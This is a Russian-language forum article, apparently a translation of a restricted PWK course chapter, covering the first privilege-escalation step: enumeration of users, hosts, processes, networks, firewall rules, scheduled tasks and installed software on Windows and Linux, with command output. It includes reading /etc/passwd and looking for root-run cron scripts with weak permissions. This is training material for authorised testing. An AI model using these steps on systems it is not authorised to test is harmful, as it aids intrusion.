Статья PWK-(18) Повышение привилегий

disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 18. Повышение привилегий. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.

Введение

Во время пентеста мы часто проникаем в систему в качестве стандартного или непривилегированного пользователя. В этих случаях мы, как правило, стремимся получить расширенные права доступа до того, как сможем продемонстрировать полный ущерб от компрометации. Этот процесс называется Повышение привилегий (Privilege escalation) и является необходимым навыком, так как в современных условиях взлом "direct-to-root" является редким явлением.

В этой главе мы предположим, что получили доступ непривилегированного пользователя к целям Windows и Linux и продемонстрируем технику повышения привилегий на этих целях.

Несмотря на то, что каждая цель может считаться уникальной из-за различий в версиях ОС, уровне обновления и различных других факторов, существуют общие подходы повышения привилегий. Чтобы использовать их, мы будем искать неправильно настроенные службы, недостаточные ограничения прав доступа к двоичным файлам или службам, прямые уязвимости ядра, уязвимое программное обеспечение, запущенное с высокими привилегиями, конфиденциальную информацию, хранящуюся в локальных файлах, параметры реестра, которые всегда повышают привилегии перед выполнением двоичного файла, установочные скрипты, которые могут содержать жестко прописанные учетные данные, и многое другое.

Сбор информации

После компрометации цели и получения начального доступа в качестве непривилегированного пользователя, первым шагом является сбор как можно большего количества информации о жертве. Это позволит лучше понять природу скомпрометированной машины и обнаружить возможные пути повышения (эскалации) привилегий.

В этой главе будут рассмотренны как ручные (ссылка на материалы и ), так и автоматизированные методы сбора информации, а также бужут обсуждаться сильные и слабые стороны каждого из этих методов.

Ручной сбор информации

Ручной сбор информации о системе может отнимать много времени. Однако такой подход позволяет получить больше контроля и может помочь выявить более экзотические методы повышения привилегий, которые часто пропускаются автоматизированными инструментами.

Некоторые команды в этой части главы могут потребовать небольших модификаций в зависимости от версии целевой операционной системы. Кроме того, не все команды, представленные в этом разделе, будут доступны для использования на выделенных клиентах.

Получение списка пользователей (Enumerating Users)

При получении начального доступа к цели, одним из первых, что необходимо определить, это контекст пользователя. Команда `whoami`, доступная как на Windows, так и на Linux платформах, поможет нам в этом.

При запуске без параметров команда `whoami` отобразит имя пользователя, под которым запущен шелл. На Windows мы можем передать найденное имя пользователя в качестве аргумента команде для сбора дополнительной информации.

Код:
C:\Users\student>whoami
client251\student

C:\Users\student>net user student
User name                    student
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            3/31/2018 10:37:35 AM
Password expires             Never
Password changeable          3/31/2018 10:37:35 AM
Password required            No
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   11/8/2019 12:56:15 PM

Logon hours allowed          All

Local Group Memberships      *Remote Desktop Users *Users
Global Group memberships     *None
The command completed successfully.
Листинг 1 - Получение информации о пользователе в Windows

Основываясь на полученном результате известно, что работаем в качестве пользователя student, а также получена дополнительная информация, включая группы, к которым этот пользователь принадлежит.

В системах на базе Linux можно использовать команду id для сбора контекстной информации о пользователе:

Код:
student@debian:~$ id
uid=1000(student) gid=1000(student) groups=1000(student)
Листинг 2 - Получение информации о пользователе в Linux

Результат команды id показывает, что мы работаем в качестве пользователя student, у которого и идентификатор группы (GID) 1000.

Чтобы обнаружить другие учетные записи пользователей в Windows системе, мы можем использовать команду net user.

Код:
C:\Users\student>net user

User accounts for \\CLIENT251

-------------------------------------------------------------------------------

admin                    Administrator            DefaultAccount
Guest                    student                  WDAGUtilityAccount
The command completed successfully.
Листинг 3 - Получение информации о пользователях в Windows

Выводит данные о других учетных записях, включая учетную запись администратора.

Чтобы определить количество пользователей в системе на базе Linux, можно просто прочитать содержимое файла /etc/passwd.

Код:
student@debian:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
...
speech-dispatcher:x:108:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
...
xrdp:x:114:120::/var/run/xrdp:/bin/false
student:x:1000:1000:Student,PWK,,:/home/student:/bin/bash
mysql:x:115:121:MySQL Server,,,:/nonexistent:/bin/false
Листинг 4 - Получение информации о пользователях в Linux

В файле passwd перечислены несколько учетных записей пользователей, включая учетные записи, используемые различными службами на целевой машине, такими как www-data, что указывает на вероятность установки веб-сервера.

Сбор информации о всех пользователях на целевой машине может помочь определить потенциальные высокопривилегированные пользовательские учетные записи, которые можно использовать при попытке повысить привилегии.

Создание списка имен компьютеров (Enumerating the Hostname)

Hostname компьютера часто может дать ключ к разгадке его функциональной роли. Чаще всего имена хостов включают в себя идентифицируемые сокращения, такие как web для веб-сервера, db для сервера баз данных, dc для контроллера домена и т.д.

Можно обнаружить имя хоста с помощью команды под названием hostname (ссылка на материал и ), которая установлена как на Windows, так и на Linux.

Сначала запустим его на Windows,

Код:
C:\Users\student>hostname
client251
Листинг 5 - Получение информации об имени компьютера на Windows

а теперь на Linux:

Код:
student@debian:~$ hostname
debian
Листинг 6 - Получение информации об имени компьютера на Linux

Довольно общее имя машины Windows указывает на возможное соглашение об именах в сети, которое может помочь найти дополнительные рабочие станции, в то время как имя хоста клиента Linux предоставляет нам информацию об используемой операционной системе (Debian).

Определение роли машины может помочь сфокусировать усилия по сбору информации.

Сбор информации о версии операционной системы и её архитектуре

В какой-то момент в процессе эскалации привилегий может понадобиться использовать exploits, которые целенаправленно эксплуатируют уязвимости в ядре целевой операционной системы. Эти типы эксплойтов собираются для очень специфического типа цели, заданного конкретной комбинацией операционной системы и версии. Так как атака на цель с использованием несовместимого эксплойта ядра может привести к нестабильности системы (вызывая потерю доступа и, скорее всего, оповещение системных администраторов), необходимо собрать точную информацию о цели.

В операционной системе Windows можно собирать конкретную информацию об операционной системе и архитектуре с помощью утилиты .

Также можно использовать вместе с несколькими полезными флагами для фильтрации вывода. В частности, можно сопоставить шаблоны начала строки с /B и указать конкретную строку поиска с помощью /C:.

В примере ниже будут использоваться эти флаги для извлечения имени операционной системы (Name), а также её версию (Version) и архитектуру (System).

Код:
C:\Users\student>systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.16299 N/A Build 16299
System Type:               X86-based PC
Листинг 7 - Получение информации о версии и архитектуре операционной системы

Как видно из результатов, целевая система работает под управлением версии 10.0.16299 Windows 10 Pro на архитектуре x86.

В Linux файлы /etc/issue и /etc/*-release содержат аналогичную информацию. Также можно запустить команду :

Код:
student@debian:~$ cat /etc/issue
Debian GNU/Linux 9 \n \l

student@debian:~$ cat /etc/*-release
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
...

student@debian:~$ uname -a
Linux debian 4.9.0-6-686 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) i686 GNU/Linux
Листинг 8 - Получение информации о версии и архитектуре операционной системы

Файлы, расположенные в каталоге /etc, содержат версию операционной системы (Debian 9), а uname -a выводит версию ядра (4.9.0-6) и архитектуры (i686 / x86).

Сбор информации о запущеных процессах и сервисах

Далее рассмотрим запущенные процессы и сервисы, которые могут позволить повысить привилегии. Для этого процесс должен выполняться в контексте привилегированной учетной записи и должен либо иметь небезопасные разрешения, либо позволять взаимодействовать с учетной записью непредусмотренными способами.

Можно получить список запущенных процессов в Windows с помощью команды . Флаг /SVC вернет процессы, которые привязаны к определенной службе Windows.

Код:
C:\Users\student>tasklist /SVC

Image Name                     PID Services
========================= ======== ============================================
...
lsass.exe                      564 KeyIso, Netlogon, SamSs, VaultSvc
svchost.exe                    676 BrokerInfrastructure, DcomLaunch, LSM,
                                   PlugPlay, Power, SystemEventsBroker
fontdrvhost.exe                684 N/A
fontdrvhost.exe                692 N/A
svchost.exe                    776 RpcEptMapper, RpcSs
dwm.exe                        856 N/A
svchost.exe                    944 Appinfo, BITS, DsmSvc, gpsvc, IKEEXT,
                                   iphlpsvc, LanmanServer, lfsvc, ProfSvc,
                                   Schedule, SENS, SessionEnv,
                                   ShellHWDetection, Themes, TokenBroker,
                                   UserManager, winmgmt, WpnService
svchost.exe                    952 TermService
svchost.exe                    960 BFE, CoreMessagingRegistrar, DPS, MpsSvc
svchost.exe                    988 Dhcp, EventLog, lmhosts, TimeBrokerSvc,
                                   WinHttpAutoProxySvc, wscsvc
...
mysqld.exe                    1816 mysql
...
Листинг 9 - Список запущеных процессов и соответствующих им сервисов

Результат выполнения команды показывает, что на компьютере запущен сервис MySQL, который может быть интересен при определенных условиях. Имейте в виду, что в этом результате не будут показаны процессы, выполняемые привилегированными пользователями. На системах на базе Windows нам понадобятся высокие привилегии для сбора этой информации, что усложняет процесс.

На Linux можно получить список системных процессов (включая процессы, выполняемые привилегированными пользователями) с помощью команды . Используем флаги a и x для перечисления всех процессов с или без и u для отображения процессов в удобочитаемом формате.

Код:
student@debian:~$ ps axu
USER       PID %CPU %MEM    VSZ   RSS STAT START   TIME COMMAND
root         1  0.0  0.6  28032  6256 Ss   Nov07   0:03 /sbin/init
root         2  0.0  0.0      0     0 S    Nov07   0:00 [kthreadd]
root       254  0.0  0.9  54536  9924 Ssl  Nov07   1:45 /usr/bin/vmtoolsd
root       255  0.0  0.0      0     0 S    Nov07   0:00 [kauditd]
root       259  0.0  0.4  25956  5100 Ss   Nov07   0:01 /lib/systemd/systemd-journald
root       294  0.0  0.4  17096  4996 Ss   Nov07   0:00 /lib/systemd/systemd-udevd
systemd+   309  0.0  0.3  16884  3940 Ssl  Nov07   0:07 /lib/systemd/systemd-timesyncd
root       359  0.0  0.0      0     0 S<   Nov07   0:00 [ttm_swap]
root       514  0.0  1.5  53964 16272 Ss   Nov07   0:00 /usr/bin/VGAuthService
root       515  0.0  0.2   5256  2816 Ss   Nov07   0:00 /usr/sbin/cron -f
message+   518  0.0  0.3   6368  3896 Ss   Nov07   0:37 /usr/bin/dbus-daemon --system.
rtkit      523  0.0  0.3  24096  3156 SNsl Nov07   0:00 /usr/lib/rtkit/rtkit-daemon
...
student   8868  0.0  0.3   7664  3336 pts/0    R+   14:25    0:00  ps  axu
Листинг 10 - Список процессов в Linux

В выводе перечислены несколько процессов, запущенных в качестве корневых, которые стоит исследовать на предмет возможных уязвимостей. Обратите внимание, что команда ps также перечислена в выводе.

Сбор сетевой информации

Следующим шагом в анализе целевого узла является обзор доступных сетевых интерфейсов, маршрутов и открытых портов.

Эта информация может помочь определить, подключена ли скомпрометированная цель к нескольким сетям и, следовательно, может быть использована в качестве опорной точки. Кроме того, наличие определенных виртуальных интерфейсов может указывать на существование виртуального или антивирусного программного обеспечения.

Злоумышленник может использовать скомпрометированную цель в качестве опорной точки или перемещаться между подключенными сетями. Это позволит расширить обзор сети и позволить злоумышленнику атаковать узлы, невидимые непосредственно с исходной атакующей машины.

Также можно исследовать привязки портов (port bindings), чтобы проверить, доступен ли работающий сервис только по адресу loopback, а не по маршрутизируемому. Изучение привилегированной программы или прослушивания сервиса на интерфейсе loopback может расширить поверхность атаки и увеличить вероятность атаки с повышением привилегий.

Можно начать сбор информации об операционной системе Windows с , используя флаг /all для отображения полной TCP/IP конфигурации всех адаптеров.

Код:
C:\Users\student>ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : client251
   Primary Dns Suffix . . . . . . . : corp.com
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : corp.com

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix . :
   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
   Physical Address. . . . . . . . . : 00-0C-29-C1-ED-B0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::bc64:ab2f:a10f:edc9%15(Preferred)
   IPv4 Address. . . . . . . . . . . : 10.11.0.22(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :
   DHCPv6 IAID . . . . . . . . . . . : 83889193
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-25-55-82-FF-00-0C-29-C1-ED-B0
   DNS Servers . . . . . . . . . . . : 10.11.0.2
   NetBIOS over Tcpip. . . . . . . . : Enabled

Ethernet adapter Ethernet1:

   Connection-specific DNS Suffix . :
   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection #2
   Physical Address. . . . . . . . . : 00-0C-29-C1-ED-BA
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::9d3e:158a:241b:beb7%4(Preferred)
   IPv4 Address. . . . . . . . . . . : 192.168.1.111(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1
   DHCPv6 IAID . . . . . . . . . . . : 167775273
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-25-55-82-FF-00-0C-29-C1-ED-B0
   DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                       fec0:0:0:ffff::2%1
                                       fec0:0:0:ffff::3%1
   NetBIOS over Tcpip. . . . . . . . : Enabled
Листинг 11 - TCP/IP Конфигурация всех доступных сетевых адаптеров в Windows

Этот компьютер имеет несколько сетевых интерфейсов. Далее подробнее рассмотрим его таблицы маршрутизации.

Для отображения сетевых таблиц маршрутизации мы воспользуемся командой , за которой последует аргумент print.

Код:
C:\Users\student>route print
===========================================================================
Interface List
 15...00 0c 29 c1 ed b0 ......Intel(R) 82574L Gigabit Network Connection
  4...00 0c 29 c1 ed ba ......Intel(R) 82574L Gigabit Network Connection #2
  1...........................Software Loopback Interface 1
===========================================================================

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination        Netmask         Gateway       Interface  Metric
          0.0.0.0          0.0.0.0     192.168.1.1    192.168.1.111    281
          0.0.0.0          0.0.0.0       10.11.0.2       10.11.0.22    281
        10.11.0.0    255.255.255.0        On-link        10.11.0.22    281
       10.11.0.22  255.255.255.255        On-link        10.11.0.22    281
      10.11.0.255  255.255.255.255        On-link        10.11.0.22    281
        127.0.0.0        255.0.0.0        On-link         127.0.0.1    331
        127.0.0.1  255.255.255.255        On-link         127.0.0.1    331
  127.255.255.255  255.255.255.255        On-link         127.0.0.1    331
      192.168.1.0    255.255.255.0        On-link     192.168.1.111    281
    192.168.1.111  255.255.255.255        On-link     192.168.1.111    281
    192.168.1.255  255.255.255.255        On-link     192.168.1.111    281
        224.0.0.0        240.0.0.0        On-link         127.0.0.1    331
        224.0.0.0        240.0.0.0        On-link     192.168.1.111    281
        224.0.0.0        240.0.0.0        On-link        10.11.0.22    281
  255.255.255.255  255.255.255.255        On-link         127.0.0.1    331
  255.255.255.255  255.255.255.255        On-link     192.168.1.111    281
  255.255.255.255  255.255.255.255        On-link        10.11.0.22    281
===========================================================================
Persistent Routes:
  Network Address          Netmask  Gateway Address   Metric
          0.0.0.0          0.0.0.0      192.168.1.1   Default
          0.0.0.0          0.0.0.0        10.11.0.2   Default
===========================================================================

IPv6 Route Table
===========================================================================
Active Routes:
 If Metric Network Destination      Gateway
  1    331 ::1/128                  On-link
  4    281 fe80::/64                On-link
 15    281 fe80::/64                On-link
  4    281 fe80::9d3e:158a:241b:beb7/128
                                    On-link
 15    281 fe80::bc64:ab2f:a10f:edc9/128
                                    On-link
  1    331 ff00::/8                 On-link
  4    281 ff00::/8                 On-link
 15    281 ff00::/8                 On-link
===========================================================================
Persistent Routes:
None
Листинг 12 - Таблица маршрутизации в Windows

Наконец, можно использовать для просмотра активных сетевых соединений. Указание флага a отобразит все активные TCP соединения, флаг n позволит нам отобразить адрес и номер порта в цифровом виде, а флаг o отобразит PID владельца каждого соединения.

Код:
C:\Users\student>netstat -ano

Active Connections

  Proto  Local Address        Foreign Address      State           PID
  TCP    0.0.0.0:80           0.0.0.0:0            LISTENING       7432
  TCP    0.0.0.0:135          0.0.0.0:0            LISTENING       776
  TCP    0.0.0.0:445          0.0.0.0:0            LISTENING       4
  TCP    0.0.0.0:3306         0.0.0.0:0            LISTENING       1472
  TCP    0.0.0.0:3389         0.0.0.0:0            LISTENING       952
  TCP    0.0.0.0:8895         0.0.0.0:0            LISTENING       2284
  TCP    0.0.0.0:9121         0.0.0.0:0            LISTENING       7432
...
  TCP    127.0.0.1:49689      127.0.0.1:49690      ESTABLISHED     2284
  TCP    127.0.0.1:49690      127.0.0.1:49689      ESTABLISHED     2284
  TCP    127.0.0.1:49691      127.0.0.1:49692      ESTABLISHED     2284
  TCP    127.0.0.1:49692      127.0.0.1:49691      ESTABLISHED     2284
...
Листинг 13 - Список всех активных сетевых соединений в Windows

Nettstat не только предоставил список всех портов прослушивания на этой машине, но также включил информацию об установленных соединениях, которые могут раскрыть других пользователей, подключенных к этой машине, на которых, возможно, нацелимся позже.

Аналогичные команды доступны на Linux-хосте. В зависимости от версии Linux, можно отобразить TCP/IP конфигурацию каждого сетевого адаптера с помощью или . Обе команды принимают параметр a для отображения всей доступной информации.

Код:
student@debian:~$ ip a
...
4: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group
    link/ether 00:50:56:8a:4d:48 brd ff:ff:ff:ff:ff:ff
    inet 10.11.0.128/24 brd 10.11.0.255 scope global ens192
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe8a:4d48/64 scope link
       valid_lft forever preferred_lft forever
5: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group
    link/ether 00:50:56:8a:5c:5e brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.112/24 brd 192.168.1.255 scope global ens224
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe8a:5c5e/64 scope link
       valid_lft forever preferred_lft forever
Листинг 14 - TCP/IP Конфигурация всех доступных сетевых адаптеров в Linux


Основываясь на результатах выше, клиент Linux также подключен к нескольким сетям.

Можно отобразить таблицы маршрутизации сети либо с помощью , либо с помощью , в зависимости от типа и версии Linux.

Код:
student@debian:~$ /sbin/route
Kernel IP routing table
Destination     Gateway        Genmask         Flags Metric Ref  Use Iface
default         192.168.1.254  0.0.0.0         UG    0      0    0   ens192
10.11.0.0       0.0.0.0        255.255.255.0   U     0      0    0   ens224
192.168.1.0     0.0.0.0        255.255.255.0   U     0      0    0   ens192
Литсинг 15 - Таблица маршрутизации в Linux


Наконец, можно отобразить активные сетевые соединения и прослушивающие порты с помощью или , которые принимают одни и те же аргументы.

Например, можно отобразить все соединения с помощью параметра -a, избежать разрешения имени хоста (которое может остановить выполнение команды) с помощью -n, а также отобразить имя процесса, к которому принадлежит соединение, с помощью -p. Мы можем объединить аргументы и просто запустить ss -anp:

Код:
student@debian:~$ ss -anp
Netid State   Recv-Q Send-Q Local Address:Port  Peer Address:Port
...
tcp   LISTEN  0      80  127.0.0.1:3306    *:*
tcp   LISTEN  0      128     *:22               *:*
tcp   ESTAB   0      48852                      10.11.0.128:22 10.11.0.4:52804
tcp   LISTEN  0      128     :::22              :::*
tcp   LISTEN  0      2       ::1:3350           :::*
tcp   LISTEN  0      2       :::3389            :::*
Листинг 16 - Список всех активных сетевых соединений в Linux

В выводе перечислены различные прослушивающие порты и активные сеансы, включая наше собственное активное SSH-соединение.

Сбор информации о правилах и статусе фаервола

Вообще говоря, состояние, профиль и правила фаервола представляют интерес только на этапе удаленной эксплуатации. Однако, эта информация может быть полезна во время повышения привилегий. Например, если сетевая служба не является удаленно доступной из-за того, что она заблокирована фаерволом, то, как правило, она доступна локально через интерфейс loopback. Если возможно взаимодействовать с этими службами локально, то можно использовать их для повышения привилегий в локальной системе.

Кроме того, можно собирать информацию о фильтрации входящего и исходящего портов на этой фазе для облегчения переадресации портов и туннелирования, когда придёт время перейти во внутреннюю сеть.

В Windows можно изучить текущий профиль фаервола с помощью команды .

Код:
C:\Users\student>netsh advfirewall show currentprofile

Public Profile Settings:
---------------------------------------------------------------
State                          ON
Firewall Policy                BlockInbound,AllowOutbound
LocalFirewallRules             N/A (GPO-store only)
LocalConSecRules               N/A (GPO-store only)
InboundUserNotification        Enable
RemoteManagement               Disable
UnicastResponseToMulticast     Enable

Logging:
LogAllowedConnections          Disable
LogDroppedConnections          Disable
FileName                       %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize                    4096

Ok.
Листинг 17 - Текущий профиль фаервола в Windows

В этом случае текущий профиль фаервола активен, поэтому подробнее рассмотрим его правила.

Можно перечислить правила фаервола с помощью команды netsh, используя следующий синтаксис:

Код:
C:\Users\student>netsh advfirewall firewall show rule name=all
Rule Name:         @{Microsoft.Windows.Photos_2018.18022.15810.1000_x86__8wekyb3d8bbw
---------------------------------------------------
Enabled:           Yes
Direction:         In
Profiles:          Domain,Private,Public
Grouping:          Microsoft Photos
LocalIP:           Any
RemoteIP:          Any
Protocol:          Any
Edge traversal:    Yes
Action:            Allow

Rule Name:         @{Microsoft.Windows.Photos_2018.18022.15810.1000_x86__8wekyb3d8bbw
----------------------------------------------------------------------
Enabled:           Yes
Direction:         Out
Profiles:          Domain,Private,Public
Grouping:          Microsoft Photos
LocalIP:           Any
RemoteIP:          Any
Protocol:          Any
Edge traversal:    No
Action:            Allow

Rule Name:         @{Microsoft.XboxIdentityProvider_12.39.13003.1000_x86__8wekyb3d8bb
----------------------------------------------------------------------
...
Листинг 18 - Список правил фаервола в Windows

Согласно двум правилам фаервола, перечисленным выше, приложению Microsoft Photos разрешено создавать как входящие, так и исходящие соединения к любому IP адресу и с него, используя любой протокол. Помните, что не все правила фаервола полезны, но некоторые конфигурации могут помочь расширить поверхность атак.

В системах на базе Linux, необходимо иметь root привилегии, чтобы получить список правил фаервола с . Однако, в зависимости от того, как настроен фаервол, можно получить информацию о правилах как стандартный пользователь.

Например, пакет в Debian Linux по умолчанию сохраняет правила фаервола в определённых файлах в каталоге /etc/iptables. Эти файлы используются системой для восстановления правил во время загрузки. Эти файлы часто оставляются со слабыми разрешениями, что позволяет их читать любому локальному пользователю целевой системы.

Также можно искать файлы, созданные командой iptables-save, которая используется для сброса конфигурации фаервола в файл, указанный пользователем. Этот файл обычно используется в качестве входного для команды iptables-restore и используется для восстановления правил фаервола во время загрузки. Если системный администратор когда-либо запускал эту команду, то можно выполнить поиск в каталоге конфигурации (/etc) или использовать grep в файловой системе команды iptables, чтобы найти этот файл. Если файл имеет небезопасные права, можно было бы использовать его содержимое, чтобы узнать о правилах настройки фаервола, исполняемого в системе.

Сбор информации о запланированных задачах (Scheduled Tasks)

Атакующие обычно используют запланированные задания в атаках с повышением привилегий.

Системы, выступающие в качестве серверов, часто периодически выполняют различные автоматизированные, запланированные задачи. Системы планирования на этих серверах часто имеют несколько запутанный синтаксис, который используется для выполнения пользовательских исполняемых файлов или скриптов. Когда эти системы неправильно настроены, или пользовательские файлы остаются с небезопасными привилегиями, можно изменять эти файлы, которые будут выполняться по расписанию с высоким уровнем привилегий.

Можно создавать и просматривать запланированные задачи в Windows с помощью команды . Аргумент /query отображает задачи, а /FO LIST устанавливает формат вывода в простой список. Мы также можем использовать /V для запроса подробного вывода.

Код:
c:\Users\student>schtasks /query /fo LIST /v

Folder: \
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Office
HostName:                             CLIENT251
TaskName:                             \Microsoft\Office\Office 15 Subscription Heartbeat
Next Run Time:                        11/12/2019 3:18:24 AM
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        11/11/2019 3:49:25 AM
Last Result:                          0
Author:                               Microsoft Office
Task To Run:                          %ProgramFiles%\Common Files\Microsoft Shared\Office16\OLicenseHeartbeat.exe
Start In:                             N/A
Comment:                              Task used to ensure that the Microsoft Office Subscription licensing is current.
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode
Run As User:                          SYSTEM
Delete Task If Not Rescheduled:       Disabled
Stop Task If Runs X Hours and X Mins: 04:00:00
Schedule:                             Scheduling data is not available in this format
Schedule Type:                        Daily
Start Time:                           12:00:00 AM
Start Date:                           1/1/2010
End Date:                             N/A
Days:                                 Every 1 day(s)
Months:                               N/A
Repeat: Every:                        Disabled
Repeat: Until: Time:                  Disabled
Repeat: Until: Duration:              Disabled
Repeat: Stop If Still Running:        Disabled
...
Листинг 19 - Список всех запланированных задач в Windows

Результат команды schtasks включает в себя много полезной информации, такой как задача, которую нужно выполнить, следующий раз, когда она должна быть выполнена, последний раз, когда она была выполнена, и подробности о том, как часто она будет выполняться.

Планировщик задач на базе Linux известен как . Запланированные задачи перечислены в каталогах /etc/cron.*, где * представляет частоту, с которой задача будет выполняться. Например, задачи, которые будут выполняться ежедневно, можно найти в каталоге /etc/cron.daily. Каждый скрипт находится в своем подкаталоге.

Код:
student@debian:~$ ls -lah /etc/cron*
-rw-r--r-- 1 root root  722 Oct  7  2017 /etc/crontab

/etc/cron.d:
-rw-r--r--   1 root root  285 May 29  2017 anacron
-rw-r--r--   1 root root  712 Jan  1  2017 php
-rw-r--r--   1 root root  102 Oct  7  2017 .placeholder

/etc/cron.daily:
-rwxr-xr-x   1 root root  311 May 29  2017 0anacron
-rwxr-xr-x   1 root root  539 Mar 30  2018 apache2
-rwxr-xr-x   1 root root 1.5K Sep 13  2017 apt-compat
-rwxr-xr-x   1 root root  355 Oct 25  2016 bsdmainutils
-rwxr-xr-x   1 root root  384 Dec 12  2012 cracklib-runtime
-rwxr-xr-x   1 root root 1.6K Feb 22  2017 dpkg
-rwxr-xr-x   1 root root   89 May  5  2015 logrotate
-rwxr-xr-x   1 root root 1.1K Dec 13  2016 man-db
-rwxr-xr-x   1 root root  249 May 17  2017 passwd
-rw-r--r--   1 root root  102 Oct  7  2017 .placeholder

/etc/cron.hourly:
-rw-r--r--   1 root root  102 Oct  7  2017 .placeholder

/etc/cron.monthly:
-rwxr-xr-x   1 root root  313 May 29  2017 0anacron
-rw-r--r--   1 root root  102 Oct  7  2017 .placeholder

/etc/cron.weekly:
-rwxr-xr-x   1 root root  312 May 29  2017 0anacron
-rwxr-xr-x   1 root root  723 Dec 13  2016 man-db
-rw-r--r--   1 root root  102 Oct  7  2017 .placeholder
Листинг 20 - Список всех задач cron в Linux

В списке содержимого каталога видны несколько задач, запланированных к ежедневному выполнению.

Стоит отметить, что системные администраторы часто добавляют свои собственные запланированные задачи в файл /etc/crontab. Эти задачи должны быть тщательно проверены на наличие небезопасных файловых прав доступа, так как большинство задач в этом конкретном файле будут выполняться от имени root.

Код:
student@debian:~$ cat /etc/crontab
...

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
5  0 * * *   root /var/scripts/user_backups.sh
Листинг 21 - Пример файла /etc/crontab

В этом примере показан скрипт резервного копирования, запущенный от имени root. Если этот файл имеет уязвимые права доступа, можно использовать его для повышения привилегий.

Сбор информации об установленном программном обеспечении и обновлениях (Enumerating Installed Applications and Patch Levels)

В какой-то момент может понадобиться использовать эксплойт для повышения локальных привилегий. В таком случае поиск рабочего эксплойта начинается с определения всех установленных приложений, отмечая версию каждого из них (а также уровень обновлений ОС на Windows системах). Можно использовать эту информацию для поиска подходящего эксплойта.

Ручной поиск этой информации может быть очень трудоемким и неэффективным. Однако, можно использовать очень мощную Windows утилиту, для автоматизации этого процесса.

Утилита wmic предоставляет доступ к , которая является инфраструктурой для управления данными и операциями на Windows.

Мы можем использовать wmic с аргументом класса WMI с последующим get, который используется для получения специфических значений свойств. Затем можно выбрать интересующие нас свойства, такие как name, version и vendor.

Важно помнить, что в классе WMI продукта перечислены только те приложения, которые установлены . В нем не будут перечислены приложения, которые не используют Windows Installer.

Код:
c:\Users\student>wmic product get name, version, vendor
Name                                       Vendor                      Version
Microsoft OneNote MUI (English) 2016       Microsoft Corporation       16.0.4266.1001
Microsoft Office OSM MUI (English) 2016    Microsoft Corporation       16.0.4266.1001
Microsoft Office Standard 2016             Microsoft Corporation       16.0.4266.1001
Microsoft Office OSM UX MUI (English) 2016 Microsoft Corporation       16.0.4266.1001
Microsoft Office Shared Setup Metadata MUI Microsoft Corporation       16.0.4266.1001
Microsoft Excel MUI (English) 2016         Microsoft Corporation       16.0.4266.1001
Microsoft PowerPoint MUI (English) 2016    Microsoft Corporation       16.0.4266.1001
Microsoft Publisher MUI (English) 2016     Microsoft Corporation       16.0.4266.1001
Microsoft Outlook MUI (English) 2016       Microsoft Corporation       16.0.4266.1001
Microsoft Groove MUI (English) 2016        Microsoft Corporation       16.0.4266.1001
Microsoft Word MUI (English) 2016          Microsoft Corporation       16.0.4266.1001
Microsoft Office Proofing (English) 2016   Microsoft Corporation       16.0.4266.1001
Microsoft Office Shared MUI (English) 2016 Microsoft Corporation       16.0.4266.1001
